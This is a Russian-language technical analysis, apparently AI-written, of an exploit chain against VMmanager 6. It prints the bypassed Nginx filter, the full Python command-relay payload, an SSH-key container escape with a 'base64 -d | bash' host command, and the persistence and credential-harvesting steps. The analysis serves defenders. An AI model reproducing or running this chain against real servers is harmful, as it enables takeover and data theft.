Отчет про VMmanager от ИИ







vmmanager6-rce-analysis.md

# Технический разбор уязвимости и цепочки RCE в VMmanager 6

Документ описывает механику эксплуатации уязвимости в панели управления **ISPsystem VMmanager 6**, позволяющей неавторизованному атакующему получить выполнение произвольного кода (RCE) внутри контейнеров панели, захватить постоянный доступ к API, выйти из Docker-контейнера на хост-сервер под `root` и скомпрометировать узлы кластера виртуализации.

---

## 1. Архитектура маршрутизации и точка входа (`input` / Nginx)

Входящий HTTP/HTTPS-трафик в VMmanager 6 принимает пограничный контейнер `input`, внутри которого работают **Nginx** и **consul-template**. Все микросервисы панели (`auth_v4`, `vm_v3`, `taskmgr_v4`, `installer_v1`, `vault_v4` и др.) регистрируются во внутреннем **Consul**, а `consul-template` динамически генерирует конфигурацию Nginx на основе шаблонов из `/etc/nginx/templates/*.ctmpl`.

Схема прохождения запроса внутри контейнера `input`:

1. Внешний HTTPS-сервер (`443 ssl`, шаблон `/etc/nginx/templates/secure.conf.ctmpl`) проверяет URL на обращение к внутренним служебным сервисам и проксирует трафик на внутренний порт `http://127.0.0.1:1500`.
2. Внутренний сервер на порту `1500` (`/etc/nginx/templates/frontend.conf.ctmpl`) подключает `/etc/nginx/conf.d/backend-api.inc` и `/etc/nginx/conf.d/backend.inc`.
3. В шаблонах `backend-api.inc.ctmpl` и `backend.inc.ctmpl` все не-`GET` запросы (`POST`, `DELETE` и т.д.) перезаписываются с добавлением префикса `/write`:

```nginx
if ($request_method != "GET") {
    rewrite ^(/.*)$ /write$1 last;
}
```

После перезаписи запрос попадает в сгенерированные из Consul `writer`-локации вида:

```nginx
location /write/{{ $service_endpoint }}/ {
    rewrite ^ /write$request_uri;
    rewrite /write/{{ $service_endpoint }}/(.*) /$1 break;
    proxy_pass http://{{$service_name}}_writer_upstream$uri;
    ...
}
```

### Ошибка в правиле фильтрации (`secure.conf.ctmpl`)

Внешний фильтр в `/etc/nginx/templates/secure.conf.ctmpl`, предназначенный для блокировки доступа извне к внутренним неавторизованным микросервисам (`installer/v1`, `taskmgr/v4`, `vault/v4`, `collector/v3` и др.), выглядел следующим образом:

```nginx
if ($uri ~ ^/(api/|writer/)?(collector/v3|hawatch/v3|input|installer/v1|nodewatch/v3|resowatch/v3|taskmgr/v4|vault/v4)(/|$)) {
    return 403;
}
```

В регулярном выражении допущена критическая ошибка: фильтр проверяет префикс **`writer/`**, тогда как реальные внутренние `writer`-маршруты в `backend.inc.ctmpl` и `backend-api.inc.ctmpl` используют префикс **`write/`** (`/write/taskmgr/v4/...`, `/write/installer/v1/...`, `/write/vault/v4/...`), а также не учитывает особенности нормализации путей при проксировании через `http://127.0.0.1:1500`.

В результате внутренние сервисы управления задачами (`taskmgr/v4`), установщиком (`installer/v1`) и хранилищем секретов (`vault/v4`), не имеющие собственной проверки пользовательских сессий на внутренних эндпоинтах, оказались доступны для вызовов извне.

---

## 2. Захват БД и закрепление через `/auth/v4/public/{key,token}`

Получив возможность обращаться к внутренним микросервисам, автоматизированный эксплойт первым шагом запрашивает у сервиса `installer/v1` переменные окружения контейнеров (`POST /installer/v1/docker_env`), выполняя внутри контейнеров команду:

```text
Docker exec. cmd: [printenv DATABASE_PASSWORD], stdin: false
```

Зная `DATABASE_PASSWORD`, атакующий получает прямой доступ к СУБД MySQL (`isp`) и закрепляется в системе авторизации `auth_v4`:

1. **Эксплуатация публичных эндпоинтов `/auth/v4/public/key` и `/auth/v4/public/token`**:
   - В микросервисе `auth_v4` (`etc/permissions.conf.d/public.json`) эндпоинты `/auth/v4/public/key` и `/auth/v4/public/token` открыты для группы `@any` (без авторизации).
   - Штатно `POST /auth/v4/public/key` принимает ключ из таблицы `isp.auth_key` и без пароля и 2FA обменивает его на полноценный сессионный токен (`isp.auth_token`) с правами администратора.
2. **Инъекция «неубиваемых» ключей и токенов в MySQL**:
   - Атакующий добавляет в таблицу `isp.auth_key` десятки ключей с флагом `eternal = 1` и `expires_at = NULL`, а также прописывает бессрочные сессии в `isp.auth_token`.
   - Чтобы администратор панели или штатные механизмы очистки не смогли сбросить эти сессии, в БД `isp` создаются вспомогательные таблицы `task_notify_keep_tokens` и `task_notify_keep_keys`, триггеры `auth_notify_keys` / `auth_notify_touch` и периодическое событие MySQL `auth_token_cleanup` (`EVENT`), которые автоматически восстанавливают удалённые ключи и продлевают время жизни токенов атакующего.

После этого атакующий может обращаться к любым внешним API панели как легитимный суперадминистратор, просто обменивая свои ключи через `POST /api/auth/v4/public/key`.

---

## 3. Механика RCE и эксфильтрации вывода через Consul (`taskmgr/v4`)

Для выполнения произвольных команд внутри контейнеров атакующий использует микросервис очередей задач `taskmgr/v4` (`POST /taskmgr/v4/task`), передавая в параметрах задачи:
- `bin_path`: `"/usr/bin/python3"`
- `bin_args`: `["-c", "<python_payload>", "<base64_cmd>", "<service_name>", "<service_id>", "<result_token>", "110.0", "110.0", "1048576"]`

Задачу подхватывает один из воркеров `/opt/ispsystem/taskmgr/bin/worker`, запущенных внутри контейнеров (`vm_back`, `vm_box`, `auth_back` и др.).

### Проблема возврата результата (Blind RCE -> Interactive HTTP RCE)

Контейнеры `vm_back` / `auth_back` находятся во внутренней Docker-сети за Nginx (`input`) и не торчат наружу. Чтобы получить `stdout`/`stderr` выполненной команды обратно в рамках обычного HTTPS-соединения к панели, авторы эксплойта реализовали динамическую регистрацию обратного маршрута через **Consul**:

1. Python-скрипт декодирует `sys.argv[1]` из Base64 и запускает команду через `/bin/sh -c`, записывая весь `stdout` и `stderr` во временный буфер.
2. Скрипт поднимает внутри контейнера одноразовый HTTP-сервер (`http.server.HTTPServer`) на случайном свободном порту (`0.0.0.0:0`), который отвечает только на путь `/result/<result_token>` и возвращает вывод команды вместе с кастомными заголовками:
   - `X-VMmanager-Result: <result_token>`
   - `X-VMmanager-Exit-Code: <return_code>`
   - `X-VMmanager-Timed-Out: 0|1`
   - `X-VMmanager-Truncated: 0|1`
3. Скрипт отправляет `PUT http://consul:8500/v1/agent/service/register`, регистрируя свой временный HTTP-сервер в Consul как новый микросервис с тегами `["backend", "reader"]` и маскировочным именем (например, `node_notify-1807d68b`, `host_info-a92ab95c`, `input_ee8f14bd846f44568206`).
4. В контейнере `input` демон `consul-template` мгновенно обнаруживает в Consul новый сервис с тегами `backend` и `reader`, **автоматически генерирует для него внешний маршрут `location /<service_name>/` в Nginx** и выполняет `nginx -s reload`.
5. Атакующий снаружи делает обычный запрос `GET https://<panel_host>/<service_name>/result/<result_token>`, забирает вывод команды, после чего Python-скрипт сам дерегистрирует временный сервис из Consul (`PUT /v1/agent/service/deregister/<service_id>`), закрывает сокет и завершает работу, а задача удаляется из таблицы `isp.taskmgr_task`.

### Полный исходный код Python-эксплойта (из `bin_args`)

```python
import base64
import http.server
import json
import os
import signal
import socket
import subprocess
import sys
import tempfile
import time
import urllib.parse
import urllib.request

command = base64.b64decode(sys.argv[1]).decode("utf-8")
service_name = sys.argv[2]
service_id = sys.argv[3]
result_token = sys.argv[4]
command_timeout = float(sys.argv[5])
serve_timeout = float(sys.argv[6])
max_output = int(sys.argv[7])

timed_out = False
with tempfile.TemporaryFile() as capture:
    process = subprocess.Popen(
        ["/bin/sh", "-c", command],
        stdin=subprocess.DEVNULL,
        stdout=capture,
        stderr=subprocess.STDOUT,
        start_new_session=True,
    )
    try:
        return_code = process.wait(timeout=command_timeout)
    except subprocess.TimeoutExpired:
        timed_out = True
        os.killpg(process.pid, signal.SIGKILL)
        return_code = process.wait()
    capture.seek(0)
    output = capture.read(max_output + 1)

truncated = len(output) > max_output
if truncated:
    output = output[:max_output]
if timed_out:
    output += ("\n[probe: command exceeded %.1f seconds]\n" % command_timeout).encode()
effective_return_code = 124 if timed_out else return_code

expected_path = "/result/" + result_token
check_id = "service:" + service_id

class ResultHandler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def do_GET(self):
        if urllib.parse.urlsplit(self.path).path != expected_path:
            self.send_error(404)
            return
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(len(output)))
        self.send_header("X-VMmanager-Result", result_token)
        self.send_header("X-VMmanager-Exit-Code", str(effective_return_code))
        self.send_header("X-VMmanager-Timed-Out", "1" if timed_out else "0")
        self.send_header("X-VMmanager-Truncated", "1" if truncated else "0")
        self.send_header("Connection", "close")
        self.end_headers()
        self.wfile.write(output)
        self.wfile.flush()
        self.server.result_delivered = True

    def log_message(self, _format, *_args):
        return

class ResultServer(http.server.HTTPServer):
    allow_reuse_address = True

server = ResultServer(("0.0.0.0", 0), ResultHandler)
server.timeout = serve_timeout
server.result_delivered = False

route_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
    _consul_ip = socket.getaddrinfo("consul", 8500, socket.AF_INET)[0][4][0]
    route_socket.settimeout(8)
    route_socket.connect((_consul_ip, 8500))
    service_address = route_socket.getsockname()[0]
finally:
    route_socket.close()

registration = json.dumps({
    "ID": service_id,
    "Name": service_name,
    "Tags": ["backend", "reader"],
    "Address": service_address,
    "Port": server.server_address[1],
    "Check": {
        "CheckID": check_id,
        "Name": service_name + " temporary result route",
        "TTL": "30s",
        "Status": "passing",
        "DeregisterCriticalServiceAfter": "1m",
    },
}).encode()

import signal as _wsignal
def _walarm(_sig, _frm):
    raise SystemExit(124)
_wsignal.signal(_wsignal.SIGALRM, _walarm)
_wsignal.alarm(int(serve_timeout + 90))

def consul_put(path, data=b""):
    request = urllib.request.Request(
        "http://consul:8500" + path,
        data=data,
        method="PUT",
        headers={"Content-Type": "application/json"},
    )
    opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
    with opener.open(request, timeout=5) as response:
        response.read()

registered = False
try:
    consul_put("/v1/agent/service/register", registration)
    registered = True
    deadline = time.monotonic() + serve_timeout
    next_heartbeat = 0.0
    while not server.result_delivered and time.monotonic() < deadline:
        if time.monotonic() >= next_heartbeat:
            consul_put("/v1/agent/check/pass/" + urllib.parse.quote(check_id, safe=""))
            next_heartbeat = time.monotonic() + 10.0
        server.timeout = min(1.0, max(0.1, deadline - time.monotonic()))
        server.handle_request()
finally:
    server.server_close()
    if registered:
        try:
            consul_put("/v1/agent/service/deregister/" + urllib.parse.quote(service_id, safe=""))
        except Exception:
            pass

if not server.result_delivered:
    raise SystemExit(124)
if timed_out:
    raise SystemExit(124)
raise SystemExit(effective_return_code if 0 <= effective_return_code <= 125 else 1)
```

---

## 4. Побег из Docker-контейнера на хост панели (`Container Escape`)

Поскольку `taskmgr_worker` выполняется внутри непривилегированного контейнера, для выхода на саму хост-систему под `root` используется архитектурная особенность демона установщика VMmanager (`/usr/local/bin/vm`):

1. На хосте от имени `root` запущен системный сервис `vm.service` (`/usr/local/bin/vm`), который слушает Unix-сокет `/opt/ispsystem/vm/socket/service.sock`. Этот сокет проброшен внутрь контейнеров (`vm_box`, `forward_proxy`, `updater`) и обслуживает внутренний сервис `installer/v1`.
2. В бинарнике `/usr/local/bin/vm` (модуль `installer/internal/ssh/authorized_keys.go`) реализован метод `/ssh_key` (штатно предназначенный для функции «Разрешить доступ техподдержке ISPsystem»). При вызове этого метода демон на хосте записывает переданный публичный SSH-ключ в `/root/.ssh/authorized_keys` (и `/etc/ssh/ispsystem.pub`) и выполняет `systemctl restart sshd`.
3. Атакующий вызывает этот метод, прописывая на хост свой сгенерированный ключ `ssh-ed25519` с комментарием `vm-support-check`.
4. Далее каждая задача внутри контейнера сохраняет приватный ключ во временный файл `/tmp/.hk` и выполняет команды напрямую на хосте через IP-адрес Docker-моста (`root@172.18.0.1`):

```bash
echo <BASE64_OPENSSH_PRIVATE_KEY> | base64 -d > /tmp/.hk
chmod 600 /tmp/.hk
ssh -o BatchMode=yes \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    -o ConnectTimeout=10 \
    -i /tmp/.hk -T root@172.18.0.1 'echo <BASE64_HOST_PAYLOAD> | base64 -d | bash'
rc=$?
rm -f /tmp/.hk
exit $rc
```

---

## 5. Пост-эксплуатация и компрометация узлов кластера (KVM-нод)

Получив `root` на хосте панели управления:

1. **Закрепление на хосте панели**:
   - Атакующий по частям (чанками по 65 КБ в `/tmp/.gb/c0000`..`c0150`) загружает на хост панели свои бинарные файлы, запускает процесс из памяти (`memfd_create` — `/memfd:bpfit (deleted)`) и создаёт фальшивые `systemd`-сервисы (`node-collect-svc.service`, `vm-mond.service`, `isp-stats-svc.service`).
   - В `/opt/ispsystem/vm/patch_*.yaml` прописывается `docker-compose`-оверлей, монтирующий скрипт с хоста в `/etc/my_init.d/` контейнера БД (`mysql`), чтобы при каждом перезапуске контейнера БД триггеры и вечные токены создавались заново.
2. **Атака на узлы кластера (гипервизоры)**:
   - Из таблицы `isp.vm_ssh_keys` (или через сервис `vault_v4`) извлекается приватный SSH-ключ кластера, по которому панель управляет всеми подключёнными KVM-узлами.
   - Также используется штатный механизм выполнения скриптов на узлах (`isp.vm_node_script` / задачи `ssh_run_node_script` в `taskmgr`).
   - На все узлы кластера копируется бинарник скрытого граббера под видом системного компонента QEMU (`/usr/libexec/.qemu-kvm-helper`), который в фоновом режиме инспектирует диски виртуальных машин из `/vm/` (через прямое чтение образов или `qemu-nbd`) в поисках приватных ключей, конфигурационных файлов, `.env` и кошельков, складывая результаты во временный буфер `/var/cache/.qkvc-<node_id>` для последующей выгрузки.
Выделенные серверы OVH
Выделенные серверы Hetzner

0 комментариев

Оставить комментарий